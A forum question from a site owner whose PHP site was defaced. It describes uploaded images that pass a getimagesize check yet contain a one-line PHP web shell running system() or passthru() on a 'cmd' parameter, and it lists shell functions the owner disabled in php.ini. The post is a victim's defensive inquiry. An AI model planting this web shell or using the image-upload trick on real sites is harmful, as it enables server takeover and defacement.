title: My php site was hacked by codes uploaded as image..?
body: <p>Yesterday my site was comprised. The attacker changes the index.php file to their own (with all their glory messages and greet). I've notified the hosting company about this (we are running on a dedicated server), and on my part, I'm trying to fix anything that seems to be the cause, cause I'm still unable to point how exactly did our server was attacked, but I think I've found certain script-based loopholes that could possibly be the culprit.</p>
  
  <p>Our site has an image uploader form, but all uploaded images are verified if they're indeed image file and not some codes by using php getimagesize function. Only if the image type is IMAGETYPE_GIF, or IMAGETYPE_JPEG, or IMAGETYPE_PNG will they be accepted. Else, they won't be able to upload the file. However I found out that one uploaded image file contains a php script inside it! You can download the image <a href="http://img132.imageshack.us/img132/6365/picodes.jpg" rel="nofollow noreferrer">here</a>. It's a valid image file, but try opening the image using any text editor and you will find a php code inside it:</p>
  
  <pre><code>&lt;?php
  
  echo "&lt;pre&gt;"; system($_GET['cmd']); echo "&lt;/pre&gt;";
  
  ?&gt;
  </code></pre>
  
  <p>For example, the image is uploaded to this location (www.mysite.com/uploads/picodes.jpg). Take note that folder uploads' permission is 755. Is there any way in the world the attacker can execute the system (or any other command such as passthru, since we found out another image has the same code hidden as above, but instead of system, it has passthru command), by just for example, typing <b>www.mysite.com/uploads/picodes.jpg?cmd=some command</b> ?? From my knowledge it can't be done (really appreciate it if someone can prove me wrong), unless the attacker can rename the jpg file to php, and even that, these codes are hidden deep inside the image (please see the image inside text editor to understand what I'm trying to say)</p>
  
  <p>For precautions, I've disabled these php functions (exec, passthru, proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system) by adding them on the disable_functions in php.ini.</p>
  
  <p>Anyway I still think that the attacker gains access not through web, but through server exploit, but I think my hosting company thinks otherwise.</p>